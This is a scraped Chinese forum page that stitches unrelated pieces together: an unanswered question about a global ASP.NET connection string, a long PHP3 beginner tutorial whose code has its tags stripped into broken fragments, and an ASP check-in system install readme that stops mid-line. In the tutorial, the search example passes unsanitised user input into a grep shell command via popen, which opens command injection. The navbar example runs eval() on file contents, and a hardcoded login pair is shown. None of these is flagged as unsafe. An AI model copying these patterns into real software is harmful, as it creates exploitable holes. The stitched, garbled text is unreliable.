asp.net中全局的连接字符串应该写在什么地方?比如一个站都可以使用的conn应该写在哪里?

ayiiq180 2004-02-16 03:48:25
asp.net中全局的连接字符串应该写在什么地方?比如一个站都可以使用的connection应该写在哪里?
...全文
31 8 打赏 收藏 转发到动态 举报
写回复
用AI写文章
8 条回复
切换为时间正序
请发表友善的回复…
发表回复
PHP基础教程 是一个比较有价值的PHP新手教程！
标题：PHP基础教程 出处：风流的CG网络日志 时间：Mon, 28 Aug 2006 07:24:34 +0000 作者：yufeng 地址：http:///read.php?38 内容： 提供给新手学习的 PHP新手教程，是一个比较有价值的PHP新手教程！ 一、PHP简介 PHP是一种易于学习和使用的服务器端脚本语言。只需要很少的编程知识你就能使用PHP建立一个真正交互的WEB站点。本教程并不想让你完全了解这种语言，只是能使你尽快加入开发动态web站点的行列。我假定你有一些HTML（或者HTML编辑器）的基本知识和一些编程思想。 1.简介 PHP是能让你生成动态网页的工具之一。PHP网页文件被当作一般HTML网页文件来处理并且在编辑时你可以用编辑HTML的常规方法编写PHP。 PHP代表：超文本预处理器（PHP: Hypertext Preprocessor）。PHP是完全免费的，不用花钱，你可以从PHP官方站点(http://www.php.net)自由下载。PHP遵守GNU公共许可（GPL)，在这一许可下诞生了许多流行的软件诸如Linux和Emacs。你可以不受限制的获得源码，甚至可以从中加进你自己需要的特色。PHP在大多数Unix平台，GUN/Linux和微软Windows平台上均可以运行。怎样在Windows环境的PC机器或Unix机器上安装PHP的资料可以在PHP官方站点上找到。安装过程很简单。 如果你的机器解决了2000问题，那么PHP也一样没有千年虫问题！ 1.1 历史 三年前，Rasmus Lerdorf为了创建他的在线简历而创造了"个人主页工具"（Personal Home Page Tools）。这是一种非常简单的语言。其后越来越多的人们注意到了这种语言并对其扩展提出了各种建议。在许多人的无私奉献下以及这种语言本身的源代码自由性质，它演变成为一种特点丰富的语言，而且现在还在成长中。 PHP虽然很容易学习，但是速度上比mod_perl（植入web服务器的perl模块）慢。现在有了可以与mod_perl速度想媲美的被称作Zend的新引擎，而PHP4就可以充分利用这个引擎。PHP4还处在BETA测试阶段。Andy Gutmans和Zeev Suraki是Zend的主要作者。可以去Zend站点(http://www.zend.com)了解更多。 PHP的应用在个人性质的web工程中增长显著。根据Netcraft在1999年10月的报告，有931122个域和321128个IP地址利用PHP技术。 1.2 PHP的先进之处 应用PHP有许多好处。当然已知的不利之处在于PHP由于是开放源码项目，没有什么商业支持，并且由此而带来的执行速度缓慢（直到PHP4之前）。但是PHP的邮件列表很是有用而且除非你正在运行像Yahoo!或者Amazon.com这样的极受欢迎的站点，你不会感觉出PHP的速度与其他的有什么不同。最起码我就没有感觉出来！好了，让我们来看看PHP有那些优点： - 学习过程 我个人更喜欢PHP的非常简单的学习过程。与Java和Perl不同,你不必把头埋进100多页的文档中努力学习才可以写出一个象样的程序。只要了解一些基本的语法和语言特色，你就可以开始你的PHP编码之旅了。之后你在编码过程中如果遇到了什么麻烦，还可以再去翻阅相关文档。 PHP的语法与C，Perl，ASP或者JSP。对于那些对上述之一的语言较熟悉的人来说，PHP太简单了。相反的，如果你对PHP了解较多，那么你对于其他几种语言的学习都很简单了。 你只需要30分钟就可以将PHP的核心语言特点全部掌握，你可能已经非常了解HTML，甚至你已经知道怎样用编辑设计软件或者手工来制作好看的WEB站点。由于PHP代码能够无障碍的添加进你的站点，在你设计和维护站点的同时，你可以很轻松的加入PHP使得你的站点更加具有动态特性。 - 数据库连接 PHP可以编译成具有与许多数据库相连接的函数。PHP与MySQL是现在绝佳的组合。你还可以自己编写外围的函数取间接存取数据库。通过这样的途径当你更换使用的数据库时，可以轻松的更改编码以适应这样的变化。PHPLIB就是最常用的可以提供一般事务需要的一系列基库。 - 可扩展性 就像前面说的那样，PHP已经进入了一个高速发展的时期。对于一个非程序员来说为PHP扩展附加功能可能会比较难，但是对于一个PHP程序员来说并不困难。 - 面向对象编程 PHP提供了类和对象。基于web的编程工作非常需要面向对象编程能力。PHP支持构造器、提取类等。 - 可伸缩性 传统上网页的交互作用是通过CGI来实现的。CGI程序的伸缩性不很理想，因为它为每一个正在运行的CGI程序开一个独立进程。解决方法就是将经常用来编写CGI程序的语言的解释器编译进你的web服务器(比如mod_perl,JSP)。PHP就可以以这种方式安装，虽然很少有人愿意这样以CGI方式安装它。内嵌的PHP可以具有更高的可伸缩性。 - 更多特点 PHP的开发者们为了更适合web编程，开发了许多外围的流行基库，这些库包含了更易用的层。你可以利用PHP连接包括Oracle，MS-Access，Mysql在内的大部分数据库。你可以在苍蝇上画图，编写程序下载或者显示e-mail。你甚至可以完成网络相关的功能。最好的是，你可以选择你的PHP安装版本需要哪些功能。引用Nissan的Xterra的话来说就是PHP可以做到你想让它做到的一切而且无所不能! 1.3 竞争对手：ASP,mod_perl,JSP 我当然不清楚ASP/JSP能做些什么。不过明确的是编写那样的代码有多简单，购买它们会有多昂贵以及它们需要多么昂贵和强大的硬件。如果你有什么中立的观点（比如说没有被SUN和Microsoft的百万美金所影响），请顺便通知我。 据我所知，JSP基于Java，因此Java程序员可以轻松开始编码。ASP只是一个一般的引擎，具有支持多种语言的能力，不过默认的并且是最常用的还是VBScript。 mod_perl与Perl一样强大，只是更快一些。 二、PHP入门 PHP站点的在线教程已经很棒了。在那里还有一些其他教程的链接。而本文的该部分将让你对PHP熟悉一点。我不可能做到没有任何遗漏，我的目的只在于能让你迅速开始你的PHP编程。 2.1 首要条件 你首先必须要有一个正在工作着的支持PHP的web服务器。我假定在你的服务器上所有PHP文件的扩展名为.php3。 2.2 PHP的安装 生成一个名为test.php3的文件，含有以下内容： 然后在你的浏览器中打开此文件。看看这个页面你就知道你的PHP安装使用的选项了。 2.3 语法 就像前面提到的一样，你可以混合编写你的PHP代码和HTML代码。因此你必须有办法将两者区别开来。以下就是你可以采用的几种方法。你可以选用其中一种你最适应的并且就这样坚持这种方法！ 从HTML中分离 以下是可以使用的方法： . . . 语句 与Perl和C一样，在PHP中用（;）来分隔语句。那些从HTML中分离出来的标志也表示语句的结束。 注释 PHP支持C，C++和Unix风格的注释方式： /* C,C++风格多行注释 */ // C++风格单行注释 # Unix风格单行注释 Hello,World! 通过我们已经学过的知识，你可以编写一个最简单的程序输出一个也许是程序世界中最有名的词语： First PHP page 2.4 数据类型 PHP支持整数、浮点数、字符串、数组和对象。变量类型通常不由程序员决定而由PHP运行过程决定（真是好的解脱！）。但是类型也可以被函数cast或者settype()明确的设定。 数值 数值类型可以是整数或是浮点数。你可以用以下的语句来为一个数值赋值： $a = 1234; # 十进制数 $a = -123; # 负数 $a = 0123; # 八进制数 (等于十进制数的83) $a = 0x12; # 十六进制数(等于十进制数的18) $a = 1.234; # 浮点数"双精度数" $a = 1.2e3; # 双精度数的指数形式 字符串 字符串可以由单引号或双引号引出的字段定义。注意不同的是被单引号引出的字符串是以字面定义的，而双引号引出的字符串可以被扩展。反斜杠（\）可以被用来分割某些特殊字符。举例如下： $first = 'Hello'; $second = "World"; $full1 = "$first $second"; # 产生 Hello World $full2 = '$first $second';# 产生 $first $second 可以将字符和数字利用运算符号连接起来。字符被转化成数字，利用其最初位置。在PHP手册中有详细的例子。 数组与哈希表 数组与哈希表以同样的方法被支持。怎样运用取决于你怎样定义它们。你可以用list()或者array()来定义它们，也可以直接为数组赋值。数组的索引从0开始。虽然我在这里没有说明，但是你一样可以轻易的使用多维数组。 // 一个包含两个元素的数组 $a[0] = "first"; $a[1] = "second"; $a[] = "third"; // 添加数组元素的简单方法 // 现在$a[2]被赋值为"third" echo count($a); // 打印出3，因为该是数组有3个元素 // 用一个语句定义一个数组并赋值 $myphonebook = array ( "sbabu" => "5348", "keith" => "4829", "carole" => "4533" ); // 噢，忘了教长吧，让我们添加一个元素 $myphonebook["dean"] = "5397"; // 你定义的carale元素错了，让我们更正它 $myphonebook["carole"] => "4522" // 我还没有告诉你怎样使用数组的相似支持方式吗？让我们看一看 echo "$myphonebook[0]"; // sbabu echo "$myphonebook[1]"; // 5348 其他一些对数组或哈希表有用的函数包括sort()，next()，prev()和each()。 对象 使用new语句产生一个对象： class foo { function do_foo () { echo "Doing foo."; } } $bar = new foo; $bar->do_foo(); 改变变量类型 在PHP手册中提到："PHP不支持（也不需要）直接在声明变量时定义变量类型；变量类型将根据其被应用的情况决定。如果你为变量var赋值为一个字符串，那么它变成了一个字符串。如果你又为它赋了整数值，那么它就变成了整数。" $foo = "0"; // $foo是字符串(ASCII 48) $foo++; // $foo是字符串"1" (ASCII 49) $foo += 1; // $foo现在是整数(2) $foo = $foo + 1.3; // $foo是一个双精度数(3.3) $foo = 5 + "10 Little Piggies"; // $foo是一个整数(15) $foo = 5 + "10 Small Pigs"; // $foo是一个整数(15) 如果想要强行转换变量类型，可以使用与C语言相同的函数settype()。 2.5 变量与常量 可能你已经注意到，变量都有一个美元符号（$）的前缀。所有变量都是局部变量，为了使得定义的函数中可以使用外部变量，使用global语句。而你要将该变量的作用范围限制在该函数之内，使用static语句。 $g_var = 1 ; // 全局范围 function test() { global $g_var; // 这样就可以声明全局变量了 } 更先进一些的是变量的变量表示。请参考PHP手册。这在有时会显得很有用。 PHP内置了许多已定义的变量。你也可以用define函数定义你自己的常量，比如define("CONSTANT","value")。 2.6 运算符 PHP具有C,C++和Java中的通常见到的运算符。这些运算符的优先权也是一致的。赋值同样使用"="。 算术和字符 以下只有一种运算符是有关字符的： $a + $b ：加 $a - $b ：减 $a * $b ：乘 $a / $b ：除 $a % $b ：取模（余数） $a . $b ：字符串连接 逻辑和比较 逻辑运算符有： $a || $b ：或 $a or $b ：或 $a && $b ：与 $a and $b ：与 $a xor $b ：异或 （当$a或$b为true时为true，两者一样时为false） ! $a ：非 比较运算符有： $a == $b ：相等 $a != $b ：不等 $a < $b ：小于 $a $b ：大于 $a >= $b ：大于等于 与C一样PHP也有三重运算符（?:）。位操作符在PHP同样存在。 优先权 就和C以及Java一样！ 2.7 控制流程结构 PHP有着与C一样的流程控制。我将在下面大概介绍。 if, else, elseif, if(): endif if (表达式一) { . . . } elseif (表达式二) { . . . } else { . . . } // 或者像Python一样 if (表达式一) : . . . . . . elseif (表达式二) : . . . else : . . . endif ; Loops. while, do..while, for while (表达式) { . . . } do { . . . } while (表达式); for (表达式一; 表达式二; 表达式三) { . . . } //或者像Python一样 while (expr) : . . . endwhile ; switch switch是对多重if-elseif-else结构的最好的替换： switch ($i) { case 0: print "i equals 0"; case 1: print "i equals 1"; case 2: print "i equals 2"; } break, continue break中断当前的循环控制结构。 continue被用来跳出剩下的当前循环并继续执行下一次循环。 require, include 就像C中的#include预处理一样。你在require中指定的那个文件将替代其在主文件中的位置。在有条件的引用文件时，可以使用include()。这样就使得你可以将复杂的PHP文件分割成多个文件并且在不同需要时分别引用它们。 2.8 函数 你可以像以下的例子一样定义自己的函数。函数的返回值可以是任何数据类型： function foo (变量名一, 变量名二, . . . , 变量名n) { echo "Example function.\n"; return $retval; } 所有PHP代码都可以出现在函数定义中，甚至包括对其他函数和类的定义。函数必须在引用之前定义。 2.9 类 利用类模型建立类。可以参考PHP手册中对类的详细解释。 class Employee { var $empno; // 员工人数 var $empnm; // 员工姓名 function add_employee($in_num, $in_name) { $this->empno = $in_num; $this->empnm = $in_name; } function show() { echo "$this->empno, $this->empnm"; return; } function changenm($in_name) { $this->empnm = $in_name; } } $sbabu = new Employee; $sbabu->add_employee(10,"sbabu"); $sbabu->changenm("babu"); $sbabu->show(); 三、从实例入手　 PHP的许多特点与其他软件或者工具有关。利用迄今为止我们所学到的PHP知识，我们可以试着建立一个简单交互的网站。利用这一过程我们又可以学到不少东西。好吧，我们现在开始专注于一个典型个人网站的建设。 3.1 计划一个站点 一般一个个人站点包括一个欢迎页面、一个留言本页面、一个书签链接页面、一个计数器、联系信息，甚至还有照片集和一些音乐文件等等。让我们从一个标题页面、一个联系信息页面和一个简历页面开始。我们同样需要标准的通用的页面头部和底部。 标题页面--front.html 这里我们有一个非常简单的html文件： 我的个人主页--欢迎 我的个人主页 欢迎 欢迎来我的寒舍，虽然这里现在暂时还没有什么。 不过我希望马上就可以多起来。 Copyright ? 我自己，1999 联系信息页面--count.html 同样我们又有了一个简单页面： 我的个人主页--联系信息 我的个人主页 联系信息 你可以通过1-800-PHP-INFO联系我 Copyright ? 我自己，1999 3.2 HTML到PHP 从上面你可以看出，每个页面有相同的头部和底部。像上面那样每个页面都写入相同的信息在工作量少的时候还可以，但是想象一下当有100多页面且你需要全部更改其头部或底部时你要花费多大精力？一页一页的手工更改是一件多么冗长无趣的事情啊！所以我们应该为这些页面编写PHP的头部和底部文件，之后我们只要在每个HTML页面中引用它们就行了。我们将把这些include文件放在一个叫include的子目录下。下面我们就把这些站点的通用内容写进文件中。 全站通用变量设定：common.inc 站通用变量 $MyEmail = "phptalk@tnc.org"; $MyEmailLink = "$MyEmail"; $MyName = "PHP Talk"; $MySiteName = $MyName."'s Home Page"; ?> 通用页面头部：header.inc 通用页面底部：footer.inc Copyright ? by , 1999 新的页面front.php3： 欢迎来我的寒舍，虽然这里现在暂时还没有什么。 不过我希望马上就可以多起来。 新的cont.php3： 你可以通过1-800-PHP-INFO联系我 现在你就可以猜出这样安排的好处了。如果你想改动页面的头部或者底部，你只需要改动相应的文件就可以了。如果你要修改你的e-mail地址甚至你的名字，只要修改common.inc文件就行了。另外值得注意的是你可以把具有任何文件名或者文件扩展名的文件包含进你的文件中，你甚至可以包含其他站点上的文件。 3.3 计数器 让我们在首页上加上一个计数器。这个例子已经被讲过多次了，但是还是有利于演示怎样读写文件以及创建自己的函数。counter.inc包含以下代码： 然后我们更改front.php3文件以显示这个计数器： 中，读出并输出 printf ("%06d \n", get_hitcount("counter.txt")); include("include/footer.inc"); ?> 看看我们的新front.php3 3.4 反馈表单 让我们再添加一个反馈表单以便你的浏览者填写并e-mail给你。举例来说我们用一种很简单的方法实现它，我们只需要两个页面：一个为浏览者提供输入表单；一个获得表单数据并处理、mail给你。 PHP中获取表单数据是很简单的。当一个表单被发送后，表单中所包含的各个元素被赋上了相应的值，而这样就可以像引用一般变量一样使用了。 在process_form.php3中，变量$mytext就被赋予了输入的值--非常简单！同样的，你可以从列表框、多选框、单选框、按钮等表单元素中取得变量值。你唯一要做的就是为表单中的每一个元素取名以便将来可以引用。 根据这个方法，我们可以生成一个简单的包含三个元素的表单：姓名、e-mail地址和留言。当浏览者发送表单后，处理该表单的PHP页面（sendfdbk.php3）读取数据，检查姓名是否为空，最后将数据mail给你。 表单：form.php3 Your feedback on my home page. 处理表单：sendfdbk.php3 3.5 简单的站内搜索引擎 PHP可以调用外部程序。在Unix环境下我们可以利用程序grep实现一个简单的搜索引擎。我们可以做的稍微复杂一些：使用一个页面既输出一个表单供用户输入搜索字串又输出查询结果。
写非敏感模式的查询 $cmdstr = "grep -i $searchstr *"; $fp = popen( $cmdstr, "r" ); // 执行命令并输出管道 $myresult = array(); // 存储查询结果 while( $buffer = fgetss ($fp, 4096)) { // grep返回这样格式： 文件名：匹配字串出现行数 // 因此我们利用函数split()分离处理数据 list($fname, $fline) = split(":",$buffer, 2); // 我们只输出第一次匹配的结果 if ( !defined($myresult[$fname])) $myresult[$fname] = $fline; } // 现在我们将结果存储在数组中，下面就可以处理并输出了 if ( count($myresult) ) { echo "\n"; while(list($fname,$fline) = each($myresult)) echo " $fname : $fline \n"; echo "\n"; } else { // 如果没有查询结果 echo "Sorry. Search on $searchstr returned no results.\n"; } pclose($fp); } ?> 注释： PHP_SELF是PHP内建的变量。包含当前文件名。 fgets()按行读取文件，最多4096（指定）字符长度。 fgetss()与fgets()相似，只是解析输出的HTML标记。 split()有一个参数是2，因为我们只需要把输出分成两部分。另外需要省略":"。 each()是一个数组操作函数，用来更方便的遍历整个数组。 popen()、pclose()与fopen()、fclose()的功能很相似，只是增加了管道处理。 请注意以上的代码并不是实现一个搜索引擎的好办法。这只是有助于我们更好学习PHP而举出的一个例子而已。理想的情况是你应该建立一个包含关键字的数据库然后进行搜索 四、与数据库链接 通过PHP你可以轻松的连接到数据库，请求数据并将其显示在你的web站点中，甚至修改数据库中的数据。MySQL是一种很流行的数据库，并且在互联网中有许多有关PHP与MySQL的教程。MySQL是免费的，这一点也许就吸引了不少人。由于其广泛应用，我就不想在这里赘述MySQL的使用方法了。Oracle被大量在企业应用中采用，因此我们就利用Oracle来介绍PHP与数据库的连接。我们当然不会提及Oracle数据库的设计原理，原因是这已经超出了我们的讨论范围。 PHP提供了两套函数与Oracle连接，分别是ORA_和OCI函数。其中ORA_函数略显陈旧。OCI函数更新据说更好一些。两者的使用语法几乎相差无几。如前所述，你的PHP安装选项应该可以支持两者的使用。 想获得更多有关在Microsoft Windows平台上安装支持PHP3的Apache服务器的知识以及更多有关Oracle数据库的知识，请查阅以下URL：www.csoft.net/~vsbabu/articles/oraphp.html。 4.1 连接 conn=Ora_Logon("user@TNSNAME","password")) { echo "SUCCESS ! Connected to database\n"; } else { echo "Failed :-( Could not connect to database\n"; } Ora_Logoff($conn); phpinfo(); ?> 以上代码使用TNSNAME（在你的tnsnames.ora文件中指明）定义的Oracle数据库名称、用户名称和密码连接数据库。在成功连接的基础上，ora_logon函数返回一个非零的连接ID并储存在变量$conn中。 4.2 查询 假设与数据库已经连接就绪，下面我们就来实际的应用对数据库的查询。下面的代码演示了一个连接并查询的典型例子： 连接数据库并执行查询 */ function printoraerr($in_cur) { // 检查Oracle是否出错 // 如果存在错误则显示 // 当指针被激活时每次请求Oracle后调用该函数 if(ora_errorcode($in_cur)) echo "Oracle code - ".ora_error($in_cur)."\n"; return; } /** 主程序 */ if (!($conn=ora_logon("user@TNSNAME","password"))) { echo "Connection to database failed\n"; exit; } echo "Connected as connection - $conn\n"; echo "Opening cursor ...\n"; $cursor=ora_open($conn); printoraerr($cursor); echo "Opened cursor - $cursor\n"; $qry="select user,sysdate from dual"; echo "Parsing the query $qry ...\n"; ora_parse($cursor,$qry,0); printoraerr($cursor); echo "Query parsed \n"; echo "Executing cursor ...\n"; ora_exec($cursor); printoraerr($cursor); echo "Executed cursor\n"; echo "Fetching cursor ...\n"; while(ora_fetch($cursor)) { $user=ora_getcolumn($cursor,0); printoraerr($cursor); $sysdate=ora_getcolumn($cursor,1); printoraerr($cursor); echo " row = $user, $sysdate \n"; } echo "Fetched all records\n"; echo "Closing cursor ...\n"; ora_close($cursor); echo "Closed cursor\n"; echo "Logging off from oracle... \n"; ora_logoff($conn); echo "Logged off from oracle \n"; ?> （译者注：以上代码段缺少注释，请读者参考PHP Manual的Oracle数据库函数部分） 4.3 显示结果 以下代码演示了怎样查询数据库并将结果输出： conn) { // 检查Oracle是否出错 // 如果存在错误则显示 // 当指针被激活时每次请求Oracle后调用该函数 // If it encountered an error, we exit immediately if(ora_errorcode($in_cur)) { echo "Oracle code - ".ora_error($in_cur)."n"; ora_logoff($conn); exit; } return; } function exequery($w_qry,$conn) { $cursor=ora_open($conn); printoraerr($cursor,$conn); ora_parse($cursor,$w_qry,0); printoraerr($cursor,$conn); ora_exec($cursor); printoraerr($cursor,$conn); $numrows=0; $w_numcols=ora_numcols($cursor); // 显示头部 echo " \n"; for ($i=0;$i<$w_numcols;$i++) { $align=(ora_columntype($cursor,$i)=="NUMBER")?"RIGHT":"LEFT"; echo "\t".ora_columnname($cursor,$i)."\n"; } echo "\n"; while(ora_fetch($cursor)) { echo "\n"; for ($i=0;$i<$w_numcols;$i++) { $align=(ora_columntype($cursor,$i)=="NUMBER")?"RIGHT":"LEFT"; if(ora_columntype($cursor,$i)=="LONG") echo "". ora_getcolumn($cursor,$i)."\n"; else echo "".ora_getcolumn($cursor,$i)."\n"; printoraerr($cursor,$conn); } $numrows++; echo "\n"; } if ($numrows==0) echo "Query returned no records \n"; else { echo "\n"; echo "Count\n"; echo "$numrows\n"; echo "\n"; } echo "\n"; ora_close($cursor); return; } // 主程序 if(!($conn=ora_logon("user@SID","password"))) { echo "Error: Cannot connect to database\n"; exit; } $qry="SELECT deptno \"Dept\" ,empno \"Emp\" ,empnm \"Name\" ,salary \"Salary\" FROM employee ORDER BY 1,2"; exequery($qry); ora_logoff($conn); ?> （译者注：以上代码段缺少注释，请读者参考PHP Manual的Oracle数据库函数部分） 4.4 基于HTTP的Oracle登录 将以下代码加在PHP页面代码之前以确认Oracle登录。注意你必须正确设定$ SID。 conn=ora_logon("$PHP_AUTH_USER@$SID",$PHP_AUTH_PW))) { Header("WWW-authenticate: basic realm=\"$SID\""); Header("HTTP/1.0 401 Unauthorized"); $title="Login Instructions"; echo " You are not authorised to enter the site \n"; exit; } } ?> 五、其它功能 5.1 生成图像 PHP可以操作处理图像。如果你已经安装了GD库，你甚至可以利用PHP生成图像。 （译者注：以上代码段缺少注释，请读者参考PHP Manual的图像处理函数部分） 这段代码在其他页面中通过以下标记调用，然后以上的那段button.php3代码取得text值并在另外取得的图像文件中加上该值--在以上的代码中该图像文件是images/button1.gif--最后输出到浏览器。假如你想在表单域中使用图像按钮，但是又不希望在每次按钮上的文字改变后不得不重新生成新的图像，就可以利用这样简单的方法动态生成图像文件。 5.2 Cookies PHP支持基于HTTP的cookies。在需要时你可以像使用一般变量一样方便的使用cookie。Cookies是浏览器保存于客户端的一些信息片段，由此你可以知道是否一台特定PC上的任何人都访问过你的站点，浏览者者在你的站点上的踪迹等等。使用cookies的典型例子就是对浏览者偏好的甄别。Cookies由函数setcookie()设定。与输出HTTP标头的函数header()一样，setcookie()必须在任何实际内容杯输出到浏览器之前调用。以下是一个简单例子： 中的最后一个参数声明了该cookie保存的时间 // 在这个例子中是1年 // time()函数返回自1970年1月1日以来的以秒数计的时间 SetCookie("VisitedBefore",time(), time()+(60*60*24*365)); } else { // 欢迎浏览者再次光临 echo "Hello there, welcome back"; // 读取cookie并判断 if ( (time() - $VisitedBefore) >= "(60*60*24*7)" ) echo "Why did you take a week to come back. You should be here more often!? "; } ?> 5.3 基于HTTP验证 基于HTTP验证当PHP以CGI模式运行时不能实现。我们可以使用函数header()发送HTTP标头强制验证，客户端浏览器则弹出供输入用户名和密码的对话框。这两个变量被储存在$PHP_AUTH_USER和$PHP_AUTH_PW中，你可以使用这两个变量验证合法并允许进入。以下的例子通过用户名称/密码对为tnc/nature的验证一名用户的登录： 事实上再实际引用中不大可能如上面使用代码段明显的用户名称/密码对，而是利用数据库或者加密的密码文件存取它们。 5.4 文件上传 你可以利用PHP实现文件的功能，注意客户端的浏览器应该是Netscape3以上或者IE3以上。以下就是该功能的简单演示： ( upload.html ): Upload Your File (You may notice a slight delay while we upload your file.) 下面是处理上传的文件： ( receiver.php3 ): 2000000 ) { $error_msg = "Sorry, your file is too large."; return; } $the_time = time (); // 你需要对以下目录有写权限 $upload_dir = "/local/uploads"; $local_file = "$upload_dir/$the_time"; if ( file_exists ( '$local_file' ) ) { $seq = 1; while ( file_exists ( "$upload_dir/$the_time$seq" ) ) { $seq++; } $local_file = "$upload_dir/$the_time$seq"; }; rename ( $uploadfile, $local_file ); display_page (); } function display_page () { // 这里是你的页面内容 } php3 Receiving Script 5.5 常用函数 我们简单来看看一些常用的函数。 数组 array - 生成数组 count - 数组元素个数 sort - 数组排序,另有其他几种排序函数可供使用 list - 列出数组元素 each - 返回下一个key/value对 current - 返回当前数组元素 next,prev - 传回当前数组元素前后指针 日期和时间 checkdate - 验证日期/时间格式 date - 生成日期/时间格式 time - 当前时间信息 strftime - 格式化日期/时间 目录、文件系统 chdir - 改变目录 dir - 目录类别 opendir, readdir, closedir - 开启、读取、关闭目录 fopen, fclose - 开启、关闭文件 fgets, fgetss - 逐行读取内容 file - 将整个文件读入一个数组变量中 正则表达式 ereg - 匹配正则表达式 eregi - 大小写非敏感匹配正则表达式 ereg_replace -匹配正则表达式并替换 eregi_replace -大小写非敏感匹配正则表达式并替换 split - 依规则切开字符串并以数组形势存储 字符串 AddSlashes - 加上斜杠后使用字符串 echo - 输出一个或多个字符串 join, implode - 将数组元素合并为字符串 htmlentities, htmlspecialchars - 将HTML特殊字符转换为HTML标记形式 split - 依规则切开字符串并以数组形势存储 5.6 扩展我们的范例主页 我们将使用以上提到的一些函数和思想为我们的范例主页添加更多的动态内容。我们可以在每个页面的顶部加上导航栏，同时使得当前页自动的不被链接显示；同时还可以添加一个用户验证表单以便上传音乐、图像等文件并自动更新页面。 导航栏 实际上就是在footer.inc文件中加上一段代码。假设你的web站点中所有后缀为.php3的文件都会出现在导航栏中，以下就是被存为include/navbar.inc的代码： 站内.php3文件 */ # 读取目录 $d = dir("./"); echo " | \n"; while($entry = $d->read()) { // 忽略无文件情况 if ( !is_file($entry) ) continue; /* 将文件名与扩展名分开。由于.是正则表达式特殊字符，应该用\引出 */ list($filenm, $fileext) = split("\.",$entry, 2); // 忽略非.php3文件情况 if( $fileext != "php3" ) continue; /* 现在我们已经把.php3文件都选出，下面搜寻文件中的第一行（标题） 类似$title="something"; 并将以上标题内容分开，用作链接文字 */ $linknm = ""; $fp=fopen($entry,"r"); while($buffer=fgets($fp, 4096)) { $buffer = trim($buffer); // 我们已经把每个文件的标题放在文件的第一行以便搜索 // 但是当你改变变量名称时可能会带来大麻烦 if (ereg("title *= *\"", $buffer)) { /* 我们已经取得了标题内容并可以在此基础上 进行去除空格等处理。 必须以PHP代码方式处理，比如$title = "blah blah" */ eval($buffer); // 然后将链接文字显示为标题文字 $linknm = $title; break; } } fclose($fp); if ( $entry == basename($PHP_SELF) ) echo "$linknm"; else echo "$linknm"; echo " | "; } $d->close(); echo " \n"; ?> 照片收藏夹 我们将引用基于HTTP的验证、文件系统函数和文件上传功能维护放置图像文件的目录。 同时我们需要建立一个可以列出在该目录下所有照片的页面。 文件上传 2000000 ) { $error_msg = "Sorry, your file is too large."; return; } // Wherever you have write permission below... $upload_dir = "photos"; $local_file = "$upload_dir/$userfile_name"; if ( file_exists ( $local_file ) ) { $error_msg = "Sorry, a file with that name already exists"; return; }; // 你还可以由此检查文件名称/类型对以确定是何种文件：gif,jpg,mp3… rename($userfile, $local_file); echo "The file is uploaded\n"; echo "Go Back\n"; } $title = "Upload File"; include("include/header.inc"); if (empty($userfile) || $userfile=="none") { // 输出以下表单 ?> (You may notice a slight delay while we upload your file.) 照片图库 Here are some of our family photos. This PHP script can really be made better, by splitting into multiple pages. read()) { if (is_file("photos/$entry")) echo "\n"; } $d->close(); ?> 另外，你可以在文件上传的表单中加上一个输入元素去描述该上传的文件。这个元素将被存储在文件中，然后被以上的照片图库的那段代码所读出并显示出来。 六、网络资源 你可以通过web上的众多资源更多的了解PHP3。许多邮件列表和书籍对你都非常有用。 6.1 站点 PHP的爆炸性流行使得一夜之间出现了很多基于PHP的站点，其中不少站点有在线教程、范例代码、技巧和提示等内容。 国内 http://www.phpuser.com - PHP中文用户，也就是这里了 http://www.phpx.com - 中国PHP联盟 http://www.phpsite.net - PHP专门站 http://www.phpchina.com - PHP CHINA http://www.cpcw.com/netschool/homepage/cgi/ - 电脑报网页陶吧 国外 http://www.php.net/ - PHP官方站点 http://www.devshed.com/ - 极好的教程 http://px.sklar.com - 代码交换 http://www.phpbuilder.com/ - 教程、专栏和邮件列表档案 http://www.weberdev.com/ - 文章和代码 http://www.phpwizard.net/ - 提示与技巧 http://www.iometrics.com/php/phplist.php3/ - IOMetrics scripts的档案 http://www.e-gineer.com/phpkb/ - PHP知识库 6.2 邮件列表 你可以在PHP官方站点的"支持"栏目内登记获得以下的邮件列表。值得注意的是这些都是高流量流表，一般每天会有100份e-mail。 php3@lists.php.net - 主要的列表 php-dev@lists.php.net - 主要针对开发者 php-list@exp.com.cn - 本站的邮件列表，与论坛相通 6.3 引人注目的工程 一些基于PHP的工程已经发展得比较完善。其中一些更出色更引人注目的是： http:// phplib.netuse.de - PHPLib，一整套PHP函数库 http://www.phorum.org - Phorum是一个很完善的BBS系统 http://www.fishcartsql.org - FishCartSQL是一个电子商务解决方案 http://www.midgard-project.org - Midgard是一个网络应用开发平台 Generated by Bo-blog 2.0.2 sp2
asoft签到管理系统tykq3.5_build20110125
【官方支持】 有问题，请先上http://www.plrsoft.cn/spcenter找补丁！实在不能解决，请Q我：2643148，请附加信息：asoft签到管理系统。 【如何安装】 1)、全新安装： 将所有文件放到IIS虚拟目录，在浏览器运行asoft_install_v x.x build xxxx.asp，选择“全新安装”即可。（asoft_tykq x.x build xxxx_all.xml是封装好的X.X完整版安装程序，适合懒人使用） 2)、升级安装 将所有文件放到IIS虚拟目录，在浏览器运行asoft_install_v x.x build xxxx.asp，选择“升级安装”即可。注意数据备份！（asoft_tykq x.x build xxxx _update.xml是封装好的升级版安装程序[未带数据库]，适合老用户升级使用） 3)、绿色使用 解压“asoft_v x.x build xxxx _绿色安装包.rar”到虚拟目录，直接解压到浏览器访问虚拟目录即可。如果需要升级数据库，在浏览器运行asoft_install_v x.x build xxxx.asp，选择“仅升级数据库”即可。注意数据备份！ 【一般会遇到哪些安装的问题】 如果安装不上，或者安装了不能用，请先检测以下三个原因，不要动不动就Q我，搜索引擎是个好东西，可以多加利用，谢谢！ 1、本程序只能在IIS5.1 （winxp win2003 win7） 以上版本运行。（win2000、NETBOX或者简易IIS服务器下不能运行）！此错误的报错信息为 ：未结束的字符串 2、NTFS硬盘写权限未打开，此错误的报错信息为 Microsoft JET Database Engine ‘80040e09’ 3、IIS父路径未启用，具体表现为登陆后大部分数据处于LOADING状态。 4、IE8下，未勾选“自定义级别安全设置”中-“将文件上载到服务器时包含本地目录路径”选项 5、遇到不明的500错误，你点浏览器 工具->internet选项->高级 ，找到“显示友好http错误信息” 去掉这个选项前面的勾然后刷新页面，看看详细的错误信息，复制给我 更多解决方案请进入：http://www.plrsoft.cn/?p=52 （ASP+ACCESS数据架构策略报错解决办法） 6、无法使用视频签到，看不到图像 ： 进入 C:\windows\system32\macromed\flash\mms.cfg 